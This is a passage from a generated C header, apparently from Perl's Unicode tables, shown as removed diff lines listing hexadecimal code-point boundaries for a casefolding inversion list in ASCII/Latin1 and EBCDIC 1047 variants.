0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9A, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F71, - 0x1F72, - 0x1F73, - 0x1F74, - 0x1F75, - 0x1F76, - 0x1F77, - 0x1F78, - 0x1F79, - 0x1F7A, - 0x1F7B, - 0x1F7C, - 0x1F7D, - 0x1F7E, - 0x1F80, - 0x1FB0, - 0x1FB2, - 0x1FB5, - 0x1FB7, - 0x1FC5, - 0x1FC7, - 0x1FD0, - 0x1FD3, - 0x1FD4, - 0x1FD8, - 0x1FDC, - 0x1FDD, - 0x1FE0, - 0x1FE3, - 0x1FE4, - 0x1FE8, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF7, - 0x1FFF, - 0x2000, - 0x2010, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202A, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2183, - 0x2184, - 0x2189, - 0x218A, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2329, - 0x232B, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7C, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x309B, - 0x309D, - 0x309F, - 0x30A0, - 0x30FF, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA69E, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA771, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xAB70, - 0xABC0, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE00, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF0, - 0xFFF9, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1BCA0, - 0x1BCA4, - 0x1D15E, - 0x1D165, - 0x1D173, - 0x1D17B, - 0x1D1BB, - 0x1D1C1, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1E900, - 0x1E922, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x2F800, - 0x2FA1E, - 0xE0000, - 0xE1000 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CWKCF_invlist[] = { /* for EBCDIC 1047 */ - 1641, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x59, - 0x5A, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9A, - 0x9C, - 0x9D, - 0x9F, - 0xA0, - 0xA1, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xB7, - 0xBD, - 0xBE, - 0xBF, - 0xC1, - 0xCB, - 0xD1, - 0xDB, - 0xE2, - 0xF0, - 0xFA, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x340, - 0x342, - 0x343, - 0x346, - 0x34F, - 0x350, - 0x370, - 0x371, - 0x372, - 0x373, - 0x374, - 0x375, - 0x376, - 0x377, - 0x37A, - 0x37B, - 0x37E, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3C2, - 0x3C3, - 0x3CF, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x587, - 0x588, - 0x61C, - 0x61D, - 0x675, - 0x679, - 0x958, - 0x960, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB5C, - 0xB5E, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10FC, - 0x10FD, - 0x115F, - 0x1161, - 0x13F8, - 0x13FE, - 0x17B4, - 0x17B6, - 0x180B, - 0x180F, - 0x1C80, - 0x1C89, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9A, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 